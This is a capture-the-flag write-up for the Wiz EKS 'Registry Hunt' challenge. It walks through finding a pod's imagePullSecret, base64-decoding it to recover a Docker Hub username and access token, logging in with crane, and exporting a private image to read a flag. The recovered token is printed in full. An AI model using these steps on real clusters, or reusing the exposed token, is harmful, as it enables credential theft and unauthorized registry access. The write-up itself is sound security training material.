Challenge 2: Registry Hunt

Add description after the challenge is over.

References

Hell’s Keychain: Supply-chain vulnerability in IBM Cloud Databases for PostgreSQL allows potential unauthorized database access | Wiz Blogwiz.io

go-containerregistry/cmd/crane/doc/crane.md at main · google/go-containerregistryGitHub

The Challenge breakdown

---

Description:

A thing we learned during our research: always check the container registries.

For your convenience, the crane utility is already pre-installed on the machine.

Challenge Value: 10 pts

Permissions complements of Wiz: (You're too kind guys)

{
    "secrets": [
        "get"
    ],
    "pods": [
        "list",
        "get"
    ]
}

Solving the Challenge

---

Lets get started in the terminal below by first confirming what the kubeconfig profile settings were are connected with has the ability to do. In short lets run the `whoami` of kubernetes.

root@wiz-eks-challenge:~# kubectl auth can-i --list
warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                     Resource Names     Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []                 [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []                 [create]
                                                [/.well-known/openid-configuration]   []                 [get]
                                                [/api/*]                              []                 [get]
                                                [/api]                                []                 [get]
                                                [/apis/*]                             []                 [get]
                                                [/apis]                               []                 [get]
                                                [/healthz]                            []                 [get]
                                                [/healthz]                            []                 [get]
                                                [/livez]                              []                 [get]
                                                [/livez]                              []                 [get]
                                                [/openapi/*]                          []                 [get]
                                                [/openapi]                            []                 [get]
                                                [/openid/v1/jwks]                     []                 [get]
                                                [/readyz]                             []                 [get]
                                                [/readyz]                             []                 [get]
                                                [/version/]                           []                 [get]
                                                [/version/]                           []                 [get]
                                                [/version]                            []                 [get]
                                                [/version]                            []                 [get]
secrets                                         []                                    []                 [get]
pods                                            []                                    []                 [list get]
podsecuritypolicies.policy                      []                                    [eks.privileged]   [use]

Here we can see that we have permissions that are consistent with the permission hint provided from Wiz. (Thanks, Wiz, for not lying)

Let's break down the permissions of user connected to the kubeconfig file allowing us to run the kubectl commands in the first place in order to interact with the Kubernetes cluster.

Resource	Verb	Description
secrets	get	Allows the user/role/SA to get information about a specific secret object that was made in the kubernetes cluster. Please note however this doesn't allow us to see all the secrets so the member seeking information on the secret will need to know the secrets name. In order to list available secrets, the k8s member would need the list permission as well.
pods	get	Similar to the get verb for the secrets object, it is used to get information about the pod resource(s). Must specify resource name without list functionality.
pods	list	This allows the k8s member to list the available pods that it has access to per namespace without knowing any of the pod resource names.

Example for why we cannot see any secrets just by calling the get verb on secret object resources.

root@wiz-eks-challenge:~# kubectl get secret
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:challenge2:service-account-challenge2" cannot list resource "secrets" in API group "" in the namespace "challenge2"

Enumerating the available resources

---

root@wiz-eks-challenge:~# kubectl get pod
NAME                    READY   STATUS    RESTARTS   AGE
database-pod-2c9b3a4e   1/1     Running   0          4d8h

Only one pod is returned, but this isn't enough information to get a potential secret name.

root@wiz-eks-challenge:~# kubectl describe pod database-pod-2c9b3a4e
Name:         database-pod-2c9b3a4e
Namespace:    challenge2
Priority:     0
Node:         ip-192-168-21-50.us-west-1.compute.internal/192.168.21.50
Start Time:   Wed, 01 Nov 2023 13:32:05 +0000
Labels:       <none>
Annotations:  kubernetes.io/psp: eks.privileged
              pulumi.com/autonamed: true
Status:       Running
IP:           192.168.12.173
IPs:
  IP:  192.168.12.173
Containers:
  my-container:
    Container ID:   containerd://b427307b7f428bcf6a50bb40ebef194ba358f77dbdb3e7025f46be02b922f5af
    Image:          eksclustergames/base_ext_image
    Image ID:       docker.io/eksclustergames/base_ext_image@sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623
    Port:           <none>
    Host Port:      <none>
    State:          Running
      Started:      Wed, 01 Nov 2023 13:32:08 +0000
    Ready:          True
    Restart Count:  0
    Environment:    <none>
    Mounts:
      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-cq4m2 (ro)
Conditions:
  Type              Status
  Initialized       True 
  Ready             True 
  ContainersReady   True 
  PodScheduled      True 
Volumes:
  kube-api-access-cq4m2:
    Type:                    Projected (a volume that contains injected data from multiple sources)
    TokenExpirationSeconds:  3607
    ConfigMapName:           kube-root-ca.crt
    ConfigMapOptional:       <nil>
    DownwardAPI:             true
QoS Class:                   BestEffort
Node-Selectors:              <none>
Tolerations:                 node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
                             node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events:                      <none>

When creating a Kubernetes pod with an image from a private container registry, it is necessary to supply the imagePullSecrets field in the pod configuration, which references a secret holding the credentials for the container registry.

We can see here a simple describe call is not giving us the imagePullSecrets field so lets run the get command again but supply the full json output to get more information about the pod.

root@wiz-eks-challenge:~# kubectl get pod -o json | jq '.items[].spec.imagePullSecrets[].name'
"registry-pull-secrets-780bab1d"

Great! now we have the secret name associated with the pods image. We can now enumerate the secret in a similar method as in challenge 1.

Lets check to make sure we can start enumeration of the secret by running the "get" verb

root@wiz-eks-challenge:~# kubectl get secret registry-pull-secrets-780bab1d
NAME                             TYPE                             DATA   AGE
registry-pull-secrets-780bab1d   kubernetes.io/dockerconfigjson   1      11d

Perfect! Now lets take it a step further.

root@wiz-eks-challenge:~# kubectl describe secret registry-pull-secrets-780bab1d
Name:         registry-pull-secrets-780bab1d
Namespace:    challenge2
Labels:       <none>
Annotations:  pulumi.com/autonamed: true

Type:  kubernetes.io/dockerconfigjson

Data
====
.dockerconfigjson:  120 bytes

Interesting this secret looks to be associated with a docker config and the key name contains a special character that would exist in the JSON once we view the full contents of the secrets configuration.

root@wiz-eks-challenge:~# kubectl get secret registry-pull-secrets-780bab1d -o json | jq
{
  "apiVersion": "v1",
  "data": {
    ".dockerconfigjson": "eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19"
  },
  "kind": "Secret",
  "metadata": {
    "annotations": {
      "pulumi.com/autonamed": "true"
    },
    "creationTimestamp": "2023-11-01T13:31:29Z",
    "name": "registry-pull-secrets-780bab1d",
    "namespace": "challenge2",
    "resourceVersion": "897340",
    "uid": "1348531e-57ff-42df-b074-d9ecd566e18b"
  },
  "type": "kubernetes.io/dockerconfigjson"
}

In the configuration we can see that the data parent key that hosts the secret identity appears to be part of a file. Lets decode the ".dockerconfigjson" key and view those contents.

Get the base64 encoding.

root@wiz-eks-challenge:~# kubectl get secret registry-pull-secrets-780bab1d -o json | jq '.data.".dockerconfigjson"'
"eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19"

Decode the encoded configuration

root@wiz-eks-challenge:~# echo eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19 | base64 -d | jq
{
  "auths": {
    "index.docker.io/v1/": {
      "auth": "ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw=="
    }
  }
}

Decode the configs auth key

root@wiz-eks-challenge:~# echo ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw== | base64 -d
eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo

Radical! We got the credentials of the private repository. Now if we remember from the challenge description there is a utility to interact with containers, images, repositories, and more. Let's check it out!

root@wiz-eks-challenge:~# crane  
Usage:
  crane [flags]
  crane [command]

Available Commands:
  append      Append contents of a tarball to a remote image
  auth        Log in or access credentials
  blob        Read a blob from the registry
  catalog     List the repos in a registry
  completion  Generate the autocompletion script for the specified shell
  config      Get the config of an image
  copy        Efficiently copy a remote image from src to dst while retaining the digest value
  delete      Delete an image reference from its registry
  digest      Get the digest of an image
  export      Export filesystem of a container image as a tarball
  flatten     Flatten an image's layers into a single layer
  help        Help about any command
  index       Modify an image index.
  ls          List the tags in a repo
  manifest    Get the manifest of an image
  mutate      Modify image labels and annotations. The container must be pushed to a registry, and the manifest is updated there.
  pull        Pull remote images by reference and store their contents locally
  push        Push local image contents to a remote registry
  rebase      Rebase an image onto a new base image
  registry    
  tag         Efficiently tag a remote image
  validate    Validate that an image is well-formed
  version     Print the version

Flags:
      --allow-nondistributable-artifacts   Allow pushing non-distributable (foreign) layers
  -h, --help                               help for crane
      --insecure                           Allow image references to be fetched without TLS
      --platform platform                  Specifies the platform in the form os/arch[/variant][:osversion] (e.g. linux/amd64). (default all)
  -v, --verbose                            Enable debug logs

Use "crane [command] --help" for more information about a command.

After reviewing the help information at the top level of the command a couple of sub commands come to mind for gathering more information. The first is to take advantage of the "auth" sub command to login.

The second once we are logged in is to export the image attached to the running pod and get the file system contents.

So how do we do all this??? Let's break it down one command at a time be using a combination of the help commands and the official documentation from the References section.

Login to Registry

---

crane auth --help

root@wiz-eks-challenge:~# crane auth --help
Log in or access credentials

Usage:
  crane auth [flags]
  crane auth [command]

Available Commands:
  get         Implements a credential helper
  login       Log in to a registry
  logout      Log out of a registry
  token       Retrieves a token for a remote repo

Flags:
  -h, --help   help for auth

Global Flags:
      --allow-nondistributable-artifacts   Allow pushing non-distributable (foreign) layers
      --insecure                           Allow image references to be fetched without TLS
      --platform platform                  Specifies the platform in the form os/arch[/variant][:osversion] (e.g. linux/amd64). (default all)
  -v, --verbose                            Enable debug logs

Use "crane auth [command] --help" for more information about a command.

Great now we need to get just a little more information for the "login" sub command.

crane auth login --help

root@wiz-eks-challenge:~# crane auth login --help
Log in to a registry

Usage:
  crane auth login [OPTIONS] [SERVER] [flags]

Examples:
  # Log in to reg.example.com
  crane auth login reg.example.com -u AzureDiamond -p hunter2

Flags:
  -h, --help              help for login
  -p, --password string   Password
      --password-stdin    Take the password from stdin
  -u, --username string   Username

Global Flags:
      --allow-nondistributable-artifacts   Allow pushing non-distributable (foreign) layers
      --insecure                           Allow image references to be fetched without TLS
      --platform platform                  Specifies the platform in the form os/arch[/variant][:osversion] (e.g. linux/amd64). (default all)
  -v, --verbose                            Enable debug logs

Perfect, now we can use the example provided to try and login ourselves with the credentials we uncovered.

Forming our own login syntax

root@wiz-eks-challenge:~# crane auth login docker.io -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo
2023/11/12 22:27:45 logged in via /home/user/.docker/config.json

Ok so wait a second. How did we do that? Let's breakdown the command content syntax for a greater understanding.

• crane auth login - This part is the main command and sub commands to make the login api call to the images registry

• docker.io - This is the registry name, remember this was exposed with the kubectl describe pod <pod name> command and found under the key Image ID with the value of - docker.io/eksclustergames/base_ext_image

• -u eksclustergames - The -u stands for username and the username was found in the first part of the string uncovered in Decode the configs auth key

• -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo - The -p stands for password and the contents that follows the argument is the second part of the uncovered string found in Decode the configs auth key

Export the Filesystem

---

crane export --help

root@wiz-eks-challenge:~# crane export --help
Export filesystem of a container image as a tarball

Usage:
  crane export IMAGE|- TARBALL|- [flags]

Examples:
  # Write tarball to stdout
  crane export ubuntu -

  # Write tarball to file
  crane export ubuntu ubuntu.tar

  # Read image from stdin
  crane export - ubuntu.tar

Flags:
  -h, --help   help for export

Global Flags:
      --allow-nondistributable-artifacts   Allow pushing non-distributable (foreign) layers
      --insecure                           Allow image references to be fetched without TLS
      --platform platform                  Specifies the platform in the form os/arch[/variant][:osversion] (e.g. linux/amd64). (default all)
  -v, --verbose                            Enable debug logs

Ok so this sub command seems to be the parent and child command to run in order to get the contents of the file system. Lets mock the command and run

• crane export docker.io/eksclustergames/base_ext_image /tmp/base_ext_image.tar

  • crane export - parent and child commands

  • docker.io/eksclustergames/base_ext_image - image location

  • /tmp/base_ext_image.tar - name and location of filesystem in tarball compression format

root@wiz-eks-challenge:~# crane export docker.io/eksclustergames/base_ext_image /tmp/base_ext_image.tar

Quickly lets check the file location

root@wiz-eks-challenge:~# ll /tmp/
total 4392
drwxr-xr-x  2 root root      32 Nov 12 22:53 ./
drwxr-xr-x 17 root root     307 Nov  1 23:09 ../
-rw-r--r--  1 root root 4494336 Nov 12 22:53 base_ext_image.tar

Good, now lets unpack the tarball

root@wiz-eks-challenge:/tmp# tar -xvf /tmp/base_ext_image.tar
etc
flag.txt
proc
sys
bin
bin/[
bin/[[
bin/acpid
bin/add-shell
...
var/spool
var/spool/mail
var/www
tar: var/spool/mail: Cannot change ownership to uid 8, gid 8: Invalid argument
tar: Exiting with failure status due to previous errors
root@wiz-eks-challenge:~# 

Now lets check out our images filesystem

root@wiz-eks-challenge:/tmp# ll
total 4412
drwxr-xr-x 13 root root     185 Nov 12 22:56 ./
drwxr-xr-x 17 root root     307 Nov  1 23:09 ../
-rw-r--r--  1 root root 4494336 Nov 12 22:53 base_ext_image.tar
drwxr-xr-x  2 root root   12288 Jul 17 18:30 bin/
drwxr-xr-x  2 root root       6 Jul 17 18:30 dev/
drwxr-xr-x  3 root root     100 Nov 12 22:56 etc/
-rw-r--r--  1 root root     124 Nov  1 13:32 flag.txt
drwxr-xr-x  2 root root       6 Jul 17 18:30 home/
drwxr-xr-x  2 root root     213 Jul 17 18:30 lib/
lrwxrwxrwx  1 root root       3 Jul 17 18:30 lib64 -> lib/
drwxr-xr-x  2 root root       6 Nov  1 13:32 proc/
drwx------  2 root root       6 Jul 17 18:30 root/
drwxr-xr-x  2 root root       6 Nov  1 13:32 sys/
drwxrwxrwt  2 root root       6 Jul 17 18:30 tmp/
drwxr-xr-x  4 root root      29 Jul 17 18:30 usr/
drwxr-xr-x  4 root root      30 Jul 17 18:30 var/

Maybe we should check out that flag.txt file???

root@wiz-eks-challenge:/tmp# cat flag.txt 
wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}

This seems legit, shall we submit and move on, I think so.